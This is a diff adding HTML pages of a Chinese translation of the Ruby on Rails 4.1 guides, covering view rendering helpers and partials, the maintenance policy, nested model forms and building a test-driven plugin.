同时引入 app/assets/javascripts/main.jsapp/assets/javascripts/columns.js 可以这么做:

+
+<%= javascript_include_tag "main", "columns" %>
+
+
+
+

引入 app/assets/javascripts/main.jsapp/assets/javascripts/photos/columns.js

+
+<%= javascript_include_tag "main", "/photos/columns" %>
+
+
+
+

引入 http://example.com/main.js

+
+<%= javascript_include_tag "http://example.com/main.js" %>
+
+
+
+

stylesheet_link_tag 帮助方法为指定的每个资源生成 HTML <link> 标签。

如果启用了 Asset Pipeline,这个帮助方法生成的链接指向 /assets/stylesheets/,由 Sprockets gem 伺服。样式表文件可以存放在三个位置:app/assetslib/assetsvendor/assets

文件的地址可使用相对文档根目录的完整路径,或者是 URL。例如,如果想链接到 app/assetslib/assetsvendor/assets 文件夹中名为 stylesheets 的子文件夹中的文件,可以这么做:

+
+<%= stylesheet_link_tag "main" %>
+
+
+
+

引入 app/assets/stylesheets/main.cssapp/assets/stylesheets/columns.css

+
+<%= stylesheet_link_tag "main", "columns" %>
+
+
+
+

引入 app/assets/stylesheets/main.cssapp/assets/stylesheets/photos/columns.css

+
+<%= stylesheet_link_tag "main", "photos/columns" %>
+
+
+
+

引入 http://example.com/main.css

+
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+
+
+
+

默认情况下,stylesheet_link_tag 创建的链接属性为 media="screen" rel="stylesheet"。指定相应的选项(:media:rel)可以重写默认值:

+
+<%= stylesheet_link_tag "main_print", media: "print" %>
+
+
+
+
3.1.4 使用 image_tag 链接图片

image_tag 帮助方法为指定的文件生成 HTML <img /> 标签。默认情况下,文件存放在 public/images 文件夹中。

注意,必须指定图片的扩展名。

+
+<%= image_tag "header.png" %>
+
+
+
+

可以指定图片的路径:

+
+<%= image_tag "icons/delete.gif" %>
+
+
+
+

可以使用 Hash 指定额外的 HTML 属性:

+
+<%= image_tag "icons/delete.gif", {height: 45} %>
+
+
+
+

可以指定一个Alt属性,在关闭图片的浏览器中显示。如果没指定Alt属性,Rails 会使用图片的文件名,去掉扩展名,并把首字母变成大写。例如,下面两个标签会生成相同的代码:

+
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", alt: "Home" %>
+
+
+
+

还可指定图片的大小,格式为“{width}x{height}”:

+
+<%= image_tag "home.gif", size: "50x20" %>
+
+
+
+

除了上述特殊的选项外,还可在最后一个参数中指定标准的 HTML 属性,例如 :class:id:name

+
+<%= image_tag "home.gif", alt: "Go Home",
+                          id: "HomeImage",
+                          class: "nav_bar" %>
+
+
+
+
3.1.5 使用 video_tag 链接视频

video_tag 帮助方法为指定的文件生成 HTML5 <video> 标签。默认情况下,视频文件存放在 public/videos 文件夹中。

+
+<%= video_tag "movie.ogg" %>
+
+
+
+

生成的代码如下:

+
+<video src="http://github.com/videos/movie.ogg" />
+
+
+
+

image_tag 类似,视频的地址可以使用绝对路径,或者相对 public/videos 文件夹的路径。而且也可以指定 size: "#{width}x#{height}" 选项。video_tag 还可指定其他 HTML 属性,例如 idclass 等。

video_tag 方法还可使用 HTML Hash 选项指定所有 <video> 标签的属性,包括:

+
    +
  • +poster: "image_name.png":指定视频播放前在视频的位置显示的图片;
  • +
  • +autoplay: true:页面加载后开始播放视频;
  • +
  • +loop: true:视频播完后再次播放;
  • +
  • +controls: true:为用户提供浏览器对视频的控制支持,用于和视频交互;
  • +
  • +autobuffer: true:页面加载时预先加载视频文件;
  • +
+

把数组传递给 video_tag 方法可以指定多个视频:

+
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+
+
+
+

生成的代码如下:

+
+<video><source src="http://github.com/trailer.ogg" /><source src="http://github.com/movie.ogg" /></video>
+
+
+
+
3.1.6 使用 audio_tag 链接音频

audio_tag 帮助方法为指定的文件生成 HTML5 <audio> 标签。默认情况下,音频文件存放在 public/audio 文件夹中。

+
+<%= audio_tag "music.mp3" %>
+
+
+
+

还可指定音频文件的路径:

+
+<%= audio_tag "music/first_song.mp3" %>
+
+
+
+

还可使用 Hash 指定其他属性,例如 :id:class 等。

video_tag 类似,audio_tag 也有特殊的选项:

+
    +
  • +autoplay: true:页面加载后开始播放音频;
  • +
  • +controls: true:为用户提供浏览器对音频的控制支持,用于和音频交互;
  • +
  • +autobuffer: true:页面加载时预先加载音频文件;
  • +
+

3.2 理解 yield +

在布局中,yield 标明一个区域,渲染的视图会插入这里。最简单的情况是只有一个 yield,此时渲染的整个视图都会插入这个区域:

+
+<html>
+  <head>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+
+
+
+

布局中可以标明多个区域:

+
+<html>
+  <head>
+  <%= yield :head %>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+
+
+
+

视图的主体会插入未命名的 yield 区域。要想在具名 yield 区域插入内容,得使用 content_for 方法。

3.3 使用 content_for 方法

content_for 方法在布局的具名 yield 区域插入内容。例如,下面的视图会在前一节的布局中插入内容:

+
+<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+
+
+
+

套入布局后生成的 HTML 如下:

+
+<html>
+  <head>
+  <title>A simple page</title>
+  </head>
+  <body>
+  <p>Hello, Rails!</p>
+  </body>
+</html>
+
+
+
+

如果布局不同的区域需要不同的内容,例如侧边栏和底部,就可以使用 content_for 方法。content_for 方法还可用来在通用布局中引入特定页面使用的 JavaScript 文件或 CSS 文件。

3.4 使用局部视图

局部视图可以把渲染过程分为多个管理方便的片段,把响应的某个特殊部分移入单独的文件。

3.4.1 具名局部视图

在视图中渲染局部视图可以使用 render 方法:

+
+<%= render "menu" %>
+
+
+
+

渲染这个视图时,会渲染名为 _menu.html.erb 的文件。注意文件名开头的下划线:局部视图的文件名开头有个下划线,用于和普通视图区分开,不过引用时无需加入下划线。即便从其他文件夹中引入局部视图,规则也是一样:

+
+<%= render "shared/menu" %>
+
+
+
+

这行代码会引入 app/views/shared/_menu.html.erb 这个局部视图。

3.4.2 使用局部视图简化视图

局部视图的一种用法是作为“子程序”(subroutine),把细节提取出来,以便更好地理解整个视图的作用。例如,有如下的视图:

+
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+
+
+
+

这里,局部视图 _ad_banner.html.erb_footer.html.erb 可以包含程序多个页面共用的内容。在编写某个页面的视图时,无需关心这些局部视图中的详细内容。

程序所有页面共用的内容,可以直接在布局中使用局部视图渲染。

3.4.3 局部布局

和视图可以使用布局一样,局部视图也可使用自己的布局文件。例如,可以这样调用局部视图:

+
+<%= render partial: "link_area", layout: "graybar" %>
+
+
+
+

这行代码会使用 _graybar.html.erb 布局渲染局部视图 _link_area.html.erb。注意,局部布局的名字也以下划线开头,和局部视图保存在同个文件夹中(不在 layouts 文件夹中)。

还要注意,指定其他选项时,例如 :layout,必须明确地使用 :partial 选项。

3.4.4 传递本地变量

本地变量可以传入局部视图,这么做可以把局部视图变得更强大、更灵活。例如,可以使用这种方法去除新建和编辑页面的重复代码,但仍然保有不同的内容:

+
+<h1>New zone</h1>
+<%= render partial: "form", locals: {zone: @zone} %>
+
+
+
+
+
+<h1>Editing zone</h1>
+<%= render partial: "form", locals: {zone: @zone} %>
+
+
+
+
+
+<%= form_for(zone) do |f| %>
+  <p>
+    <b>Zone name</b><br>
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

虽然两个视图使用同一个局部视图,但 Action View 的 submit 帮助方法为 new 动作生成的提交按钮名为“Create Zone”,为 edit 动作生成的提交按钮名为“Update Zone”。

每个局部视图中都有个和局部视图同名的本地变量(去掉前面的下划线)。通过 object 选项可以把对象传给这个变量:

+
+<%= render partial: "customer", object: @new_customer %>
+
+
+
+

customer 局部视图中,变量 customer 的值为父级视图中的 @new_customer

如果要在局部视图中渲染模型实例,可以使用简写句法:

+
+<%= render @customer %>
+
+
+
+

假设实例变量 @customer 的值为 Customer 模型的实例,上述代码会渲染 _customer.html.erb,其中本地变量 customer 的值为父级视图中 @customer 实例变量的值。

3.4.5 渲染集合

渲染集合时使用局部视图特别方便。通过 :collection 选项把集合传给局部视图时,会把集合中每个元素套入局部视图渲染:

+
+<h1>Products</h1>
+<%= render partial: "product", collection: @products %>
+
+
+
+
+
+<p>Product Name: <%= product.name %></p>
+
+
+
+

传入复数形式的集合时,在局部视图中可以使用和局部视图同名的变量引用集合中的成员。在上面的代码中,局部视图是 _product,在其中可以使用 product 引用渲染的实例。

渲染集合还有个简写形式。假设 @productsproduct 实例集合,在 index.html.erb 中可以直接写成下面的形式,得到的结果是一样的:

+
+<h1>Products</h1>
+<%= render @products %>
+
+
+
+

Rails 根据集合中各元素的模型名决定使用哪个局部视图。其实,集合中的元素可以来自不同的模型,Rails 会选择正确的局部视图进行渲染。

+
+<h1>Contacts</h1>
+<%= render [customer1, employee1, customer2, employee2] %>
+
+
+
+
+
+<p>Customer: <%= customer.name %></p>
+
+
+
+
+
+<p>Employee: <%= employee.name %></p>
+
+
+
+

在上面几段代码中,Rails 会根据集合中各成员所属的模型选择正确的局部视图。

如果集合为空,render 方法会返回 nil,所以最好提供替代文本。

+
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+
+
+
+
3.4.6 本地变量

要在局部视图中自定义本地变量的名字,调用局部视图时可通过 :as 选项指定:

+
+<%= render partial: "product", collection: @products, as: :item %>
+
+
+
+

这样修改之后,在局部视图中可以使用本地变量 item 访问 @products 集合中的实例。

使用 locals: {} 选项可以把任意本地变量传入局部视图:

+
+<%= render partial: "product", collection: @products,
+           as: :item, locals: {title: "Products Page"} %>
+
+
+
+

在局部视图中可以使用本地变量 title,其值为 "Products Page"

在局部视图中还可使用计数器变量,变量名是在集合后加上 _counter。例如,渲染 @products 时,在局部视图中可以使用 product_counter 表示局部视图渲染了多少次。不过不能和 as: :value 一起使用。

在使用主局部视图渲染两个实例中间还可使用 :spacer_template 选项指定第二个局部视图。

3.4.7 间隔模板
+
+<%= render partial: @products, spacer_template: "product_ruler" %>
+
+
+
+

Rails 会在两次渲染 _product 局部视图之间渲染 _product_ruler 局部视图(不传入任何数据)。

3.4.8 集合局部视图的布局

渲染集合时也可使用 :layout 选项。

+
+<%= render partial: "product", collection: @products, layout: "special_layout" %>
+
+
+
+

使用局部视图渲染集合中的各元素时会套用指定的模板。和局部视图一样,当前渲染的对象以及 object_counter 变量也可在布局中使用。

3.5 使用嵌套布局

在程序中有时需要使用不同于常规布局的布局渲染特定的控制器。此时无需复制主视图进行编辑,可以使用嵌套布局(有时也叫子模板)。下面举个例子。

假设 ApplicationController 布局如下:

+
+<html>
+<head>
+  <title><%= @page_title or "Page Title" %></title>
+  <%= stylesheet_link_tag "layout" %>
+  <style><%= yield :stylesheets %></style>
+</head>
+<body>
+  <div id="top_menu">Top menu items here</div>
+  <div id="menu">Menu items here</div>
+  <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
+</body>
+</html>
+
+
+
+

NewsController 的页面中,想隐藏顶部目录,在右侧添加一个目录:

+
+<% content_for :stylesheets do %>
+  #top_menu {display: none}
+  #right_menu {float: right; background-color: yellow; color: black}
+<% end %>
+<% content_for :content do %>
+  <div id="right_menu">Right menu items here</div>
+  <%= content_for?(:news_content) ? yield(:news_content) : yield %>
+<% end %>
+<%= render template: "layouts/application" %>
+
+
+
+

就这么简单。News 控制器的视图会使用 news.html.erb 布局,隐藏了顶部目录,在 <div id="content"> 中添加一个右侧目录。

使用子模板方式实现这种效果有很多方法。注意,布局的嵌套层级没有限制。使用 render template: 'layouts/news' 可以指定使用一个新布局。如果确定,可以不为 News 控制器创建子模板,直接把 content_for?(:news_content) ? yield(:news_content) : yield 替换成 yield 即可。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+ + + + +
+ + + + + + + + + + + + + + diff --git a/v4.1/maintenance_policy.html b/v4.1/maintenance_policy.html new file mode 100644 index 0000000..11750e8 --- /dev/null +++ b/v4.1/maintenance_policy.html @@ -0,0 +1,250 @@ + + + + + + + +Ruby on Rails 维护方针 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Ruby on Rails 维护方针

Rails 框架的维护方针分成四个部分:新特性、Bug 修复、安全问题、重大安全问题。 +以下分别解释,版本号皆采 X.Y.Z 格式。

+ + + +
+
+ +
+
+
+

Rails 遵循一种变种的语义化版本

修订号 Z

只修复 Bug,不会更改 API,不会加新特性。 +安全性修复情况下除外。

次版号 Y

新特性、可能会改 API(等同于语意化版本的主版号)。 +不兼容的变更会在前一次版号或主版号内加入弃用提醒。

主版号 X

新特性、很可能会改 API。Rails 次版号与主版号的差别在于,不兼容的变更的数量,主版号通常保留在特别场合释出。

1 新特性

新特性只会合并到 master 分支,不会更新至小版本。

2 Bug 修复

只有最新的发行版会修 Bug。当修复的 Bug 累积到一定数量时,便会发布新版本。

目前会修 Bug 的版本: 4.1.Z4.0.Z

3 安全问题

只有最新版与上一版会修复安全问题。

比如 4.0.0 出了个安全问题,会给 4.0.0 版本打上安全性补丁, +即刻发布 4.0.1,并会把 4.0.1 会加至 4-0-stable

目前会修安全问题的版本:4.1.Z4.0.Z

4 重大安全问题

重大安全问题会如上所述发布新版本,还会修复上个版本。安全问题的重要性由 Rails 核心成员决定。

目前会修重大安全问题的版本:4.1.Z4.0.Z3.2.Z

5 不再支援的发行版

当我们不再支援某个发行版时,安全问题与 Bug 得自行处理。我们可能会在 GitHub 提供向下兼容的 Bug 修复, +但不会发布新版本。如果无法自己维护,建议升级至新版本。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/nested_model_forms.html b/v4.1/nested_model_forms.html new file mode 100644 index 0000000..7023623 --- /dev/null +++ b/v4.1/nested_model_forms.html @@ -0,0 +1,422 @@ + + + + + + + +Rails nested model forms — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails nested model forms

Creating a form for a model and its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms and the required CRUD operations to create, update, and destroy associations.

After reading this guide, you will know:

+
    +
  • do stuff.
  • +
+ + +
+

Chapters

+
    +
  1. +Model setup + + +
  2. +
  3. +Views + + +
  4. +
+ +
+ +
+
+ +
+
+
+

This guide assumes the user knows how to use the Rails form helpers in general. Also, it's not an API reference. For a complete reference please visit the Rails API documentation.

1 Model setup

To be able to use the nested model functionality in your forms, the model will need to support some basic operations.

First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The fields_for form helper will look for this method to decide whether or not a nested model form should be built.

If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.

Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the :address attribute, the fields_for form helper will look for a method on the Person instance named address_attributes=.

1.1 ActiveRecord::Base model

For an ActiveRecord::Base model and association this writer method is commonly defined with the accepts_nested_attributes_for class method:

1.1.1 has_one
+
+class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+
+
+
+
1.1.2 belongs_to
+
+class Person < ActiveRecord::Base
+  belongs_to :firm
+  accepts_nested_attributes_for :firm
+end
+
+
+
+
1.1.3 has_many / has_and_belongs_to_many
+
+class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+
+
+
+

1.2 Custom model

As you might have inflected from this explanation, you don't necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:

1.2.1 Single associated object
+
+class Person
+  def address
+    Address.new
+  end
+
+  def address_attributes=(attributes)
+    # ...
+  end
+end
+
+
+
+
1.2.2 Association collection
+
+class Person
+  def projects
+    [Project.new, Project.new]
+  end
+
+  def projects_attributes=(attributes)
+    # ...
+  end
+end
+
+
+
+

See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.

2 Views

2.1 Controller code

A nested model form will only be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.

Consider the following typical RESTful controller which will prepare a new Person instance and its address and projects associations before rendering the new template:

+
+class PeopleController < ApplicationController
+  def new
+    @person = Person.new
+    @person.built_address
+    2.times { @person.projects.build }
+  end
+
+  def create
+    @person = Person.new(params[:person])
+    if @person.save
+      # ...
+    end
+  end
+end
+
+
+
+

Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an after_initialize callback which is a good way to refactor this.

2.2 Form code

Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.

2.2.1 Standard form

Start out with a regular RESTful form:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+<% end %>
+
+
+
+

This will generate the following html:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+</form>
+
+
+
+
2.2.2 Nested form for a single associated object

Now add a nested form for the address association:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :address do |af| %>
+    <%= af.text_field :street %>
+  <% end %>
+<% end %>
+
+
+
+

This generates:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
+</form>
+
+
+
+

Notice that fields_for recognized the address as an association for which a nested model form should be built by the way it has namespaced the name attribute.

When this form is posted the Rails parameter parser will construct a hash like the following:

+
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "address_attributes" => {
+      "street" => "Nieuwe Prinsengracht"
+    }
+  }
+}
+
+
+
+

That's it. The controller will simply pass this hash on to the model from the create action. The model will then handle building the address association for you and automatically save it when the parent (person) is saved.

2.2.3 Nested form for a collection of associated objects

The form code for an association collection is pretty similar to that of a single associated object:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :projects do |pf| %>
+    <%= pf.text_field :name %>
+  <% end %>
+<% end %>
+
+
+
+

Which generates:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
+  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
+</form>
+
+
+
+

As you can see it has generated 2 project name inputs, one for each new project that was built in the controller's new action. Only this time the name attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:

+
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "projects_attributes" => {
+      "0" => { "name" => "Project 1" },
+      "1" => { "name" => "Project 2" }
+    }
+  }
+}
+
+
+
+

You can basically see the projects_attributes hash as an array of attribute hashes, one for each model instance.

The reason that fields_for constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.

You can however pass an array to the writer method generated by accepts_nested_attributes_for if you're using plain Ruby or some other API access. See (TODO) for more info and example.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/plugins.html b/v4.1/plugins.html new file mode 100644 index 0000000..4ee94fd --- /dev/null +++ b/v4.1/plugins.html @@ -0,0 +1,630 @@ + + + + + + + +Rails 插件入门 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails 插件入门

一个Rails插件既可以是核心框架库某个功能扩展,也可以是对核心框架库的修改。插件提供了如下功能:

+
    +
  • 为开发者分享新特性又保证不影响稳定版本的功能提供了支持;

  • +
  • 松散的代码组织架构为修复、更新局部模块提供了支持;

  • +
  • 为核心成员开发局部模块功能特性提供了支持;

  • +
+

读完本章节,您将学到:

+
    +
  • 如何构造一个简单的插件;

  • +
  • 如何为插件编写和运行测试用例;

  • +
+

本指南将介绍如何通过测试驱动的方式开发插件:

+
    +
  • 扩展核心类库功能,比如HashString

  • +
  • ActiveRecord::Base添加acts_as插件功能;

  • +
  • 提供创建自定义插件必需的信息;

  • +
+

假定你是一名狂热的鸟类观察爱好者,你最喜欢的鸟是Yaffle,你希望创建一个插件和开发者们分享有关Yaffle的信息。

+ + + +
+
+ +
+
+
+

1 准备工作

目前,Rails插件是被当作gem来使用的(gem化的插件)。不同Rails应用可以通过RubyGems和Bundler命令来使用他们。

1.1 生成一个gem化的插件

Rails使用rails plugin new命令为开发者创建各种Rails扩展,以确保它能使用一个简单Rails应用进行测试。创建插件的命令如下:

+
+$ bin/rails plugin new yaffle
+
+
+
+

如下命令可以获取创建插件命令的使用方式:

+
+$ bin/rails plugin --help
+
+
+
+

2 让新生成的插件支持测试

打开新生成插件所在的文件目录,然后在命令行模式下运行bundle install命令,使用rake命令生成测试环境。

你将看到如下代码:

+
+  2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

上述内容告诉你一切就绪,可以开始为插件添加新特性了。

3 扩展核心类库

本章节将介绍如何为String添加一个方法,并让它在你的Rails应用中生效。

下面我们将为String添加一个名为to_squawk的方法。开始前,我们可以先创建一些简单的测试函数:

+
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < ActiveSupport::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+
+
+
+

运行rake命令运行测试,测试将返回错误信息,因为我们还没有完成to_squawk方法的功能实现:

+
+    1) Error:
+  test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+  NoMethodError: undefined method `to_squawk' for [Hello World](String)
+      test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+
+
+
+

好吧,现在开始进入正题:

lib/yaffle.rb文件中, 添加 require 'yaffle/core_ext'

+
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+
+module Yaffle
+end
+
+
+
+

最后,新建一个core_ext.rb文件,并添加to_squawk方法:

+
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+
+
+
+

为了测试你的程序是否符合预期,可以在插件目录下运行rake命令,来测试一下。

+
+  3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

看到上述内容后,用命令行导航到test/dummy目录,使用Rails控制台来做个测试:

+
+$ bin/rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+
+
+
+

4 为Active Record添加"acts_as"方法

一般来说,在插件中为某模块添加方法的命名方式是acts_as_something,本例中我们将为Active Record添加一个名为acts_as_yaffle的方法实现squawk 功能。

首先,新建一些文件:

+
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+end
+
+
+
+
+
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+
+
+
+
+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    # your code will go here
+  end
+end
+
+
+
+

4.1 添加一个类方法

假如插件的模块中有一个名为 last_squawk 的方法,与此同时,插件的使用者在其他模块也定义了一个名为 last_squawk 的方法,那么插件允许你添加一个类方法 yaffle_text_field 来改变插件内的 last_squawk 方法的名称。

开始之前,先写一些测试用例来保证程序拥有符合预期的行为。

+
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+end
+
+
+
+

运行rake命令,你将看到如下结果:

+
+    1) Error:
+  test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+  NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+      test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+    2) Error:
+  test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+  NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+      test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+  5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+
+
+
+

上述内容告诉我们,我们没有提供必要的模块(Hickwall 和 Wickwall)进行测试。我们可以在test/dummy目录下使用命令生成必要的模块:

+
+$ cd test/dummy
+$ bin/rails generate model Hickwall last_squawk:string
+$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
+
+
+
+

接下来为简单应用创建测试数据库并做数据迁移:

+
+$ cd test/dummy
+$ bin/rake db:migrate
+
+
+
+

至此,修改Hickwall和Wickwall模块,把他们和yaffles关联起来:

+
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle yaffle_text_field: :last_tweet
+end
+
+
+
+
+

同时定义acts_as_yaffle方法:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        # your code will go here
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+
+
+
+

在插件的根目录下运行rake命令:

+
+    1) Error:
+  test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
+      /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+      test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+    2) Error:
+  test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
+      Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+      test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+  5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+
+
+
+
+

现在离目标已经很近了,我们来完成acts_as_yaffle方法,以便通过测试。

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+   extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+
+
+
+

运行rake命令后,你将看到所有测试都通过了:

+
+  5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

4.2 添加一个实例方法

本插件将为所有Active Record对象添加一个名为squawk的方法,Active Record 对象通过调用acts_as_yaffle方法来间接调用插件的squawk方法。 +squawk方法将作为一个可赋值的字段与数据库关联起来。

开始之前,可以先写一些测试用例来保证程序拥有符合预期的行为:

+
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweet
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+
+
+
+

